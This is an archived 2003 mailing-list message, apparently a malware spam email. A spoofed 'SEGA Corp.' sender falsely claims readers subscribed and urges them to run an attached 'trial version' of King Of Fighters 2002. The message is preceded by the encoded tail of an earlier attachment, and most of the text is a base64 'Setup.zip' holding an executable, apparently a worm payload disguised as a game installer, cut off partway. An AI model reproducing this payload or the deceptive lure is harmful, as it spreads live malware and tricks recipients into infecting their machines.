EcAB23MLdRmLHoPu/BHbchBIAdt1B4seg+78EdsRwOvUMcmD6ANyEcHgCIoGRoPw/3R40fiJxesL
Adt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D7vwR2xHJAdtz73UJix6D7vwR23Pk
g8ECgf0A+///g9EBjRQvg/38dg+KAkKIB0dJdffpT////5CLAoPCBIkHg8cEg+kEd/EBz+k4////
XlZfuesCAACKB0cs6DwBd/eAPwd18osHil8EZsHoCMHAEIbEKfiA6+gB8IkHg8cFidji2Y2+AMAE
AIsHCcB0RYtfBI2EMBDlBAAB81CDxwj/lpzlBACVigdHCMB03In5eQcPtwdHUEe5V0jyrlX/lqDl
BAAJwHQHiQODwwTr2P+WpOUEAGHpx7D7/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA
kAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAAAAAAAAAAAAABAAkEAABY
AAAA1PAEAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAJBAAAgAAAAMDzBAAoAQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAEAaQAAAKgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAMAAAADs9AQAIgAA
AAAAAAAAAAAA0MAEACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD/
//8AAAAAAAAAAAAAAAAAAAAAAAAId3d3d3d3d3d3d3BwAAAAj//////////////3BwAAAI//////
////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////////9wcA
AACP//////////////cHAAAAj//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP////////
//////cHAAAAj/AAAAAAAAAAAA/3BwAAAI//////////////9wcAAACP8AAAAAAAAAAAD/cHAAAA
j//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP//////////////cHAAAAj///////////
///3BwAAAI/wAAAP////////9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//
////////////9wcAAACP8AAAD/////////cHAAAAj//////////////3BwAAAI/wAAAP////DwAP
9wcAAACP//////////////cHAAAAj//////////////3BwAAAI//////////////9wcAAACPD/D/
D/D/D/D/D/gHAAAAjw/w/w/w/w/w/w/4BwAAAAj4j4j4j4j4j4j4j4AAAAAAAAAAAAAAAAAAAAAA
AADwAAAf4AAAD8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAA
B8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAH
wAAAB8AAAAfgAAAP8kkkv7jDBAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A
/wD//wAA////AAAAAAAAAAAAh3d3d3d3AACP//////cAAI//////9wAAj/AAAA/3AACP//////cA
AI/wAAAP9wAAj//////3AACP8AAAD/cAAI//////9wAAj/AA8A/3AACP//////cAAI//////9wAA
jw8PDw8PAAAA+Pj4+PAAAAAAAAAAAAAAgA8AAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAA
BwAAAAcAAAAHAAAABwAAAAcAAAAHAACADwAA1V8AAODEBAAAAAEAAgAgIBAAAQAEAOgCAAABABAQ
EAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADU9QQAnPUEAAAAAAAAAAAAAAAAAOH1BACs9QQAAAAA
AAAAAAAAAAAA7vUEALT1BAAAAAAAAAAAAAAAAAD29QQAvPUEAAAAAAAAAAAAAAAAAAH2BADE9QQA
AAAAAAAAAAAAAAAADfYEAMz1BAAAAAAAAAAAAAAAAAAAAAAAAAAAABj2BAAm9gQANvYEAAAAAABE
9gQAAAAAAFL2BAAAAAAAYvYEAAAAAABu9gQAAAAAADQAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQ
STMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbAAAAExvYWRM
aWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnT3BlbktleUEAAABXTmV0
T3BlbkVudW1BAAAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
--#YABAO92666#--


From - Thu Nov 08 21:28:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: SEGA Corp. <marketing@sega.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Matrix - The Game
Date: Mon,16 Jun 2003 14:10:45 PM
Lines: 851
Approved: news@gmane.org
Message-ID: <20030616061135.A55BE4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary=#IKZFI44543#
X-Trace: ger.gmane.org 1416622515 26708 80.91.229.3 (22 Nov 2014 02:15:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 16 00:11:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.parisc-linux.org (unknown [202.113.25.81])
	by dsl2.external.hp.com (Postfix) with SMTP id A55BE4829
	for <parisc-linux@parisc-linux.org>; Mon, 16 Jun 2003 00:11:35 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18671

--#IKZFI44543#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<FONT></FONT>
<<<<<>>>>><<<<<>>>>><<<<<>>>>><<<<<>>>>><<<<<>>>>><<<<<>>>>><BR><BR>This E-Mail is never sent unsolicited. If you receive this<BR>E-Mail then it is because you have subscribed to the official<BR>newsletter at our offical website.<BR><BR>King Of Fighters is one of the greatest action game ever made.<BR>Now after the mind boggling sucess of KOF 2001 SNK proudly <BR>presents to you KOF 2002 with 4 new charecters.<BR><BR>Even though we need no publicity for our product but this<BR>time we have decided to give away a fully functional trial <BR>version of KOF 2002. So check out the attached trial version<BR>of KOF 2002 and register at our official website to get a free<BR>copy of KOF2002 original version<BR><BR>Best Regards,<BR>Admin,KOF ONLINE..<BR><BR><<<<<>>>>><<<<<>>>>><<<<<>>>>><<<<<>>>>><<
 <<<>>>>><<<<<>>>>></BODY></HTML>

--#IKZFI44543#
Content-Type: application/octet-stream;
	name=Setup.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="Setup.zip"

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
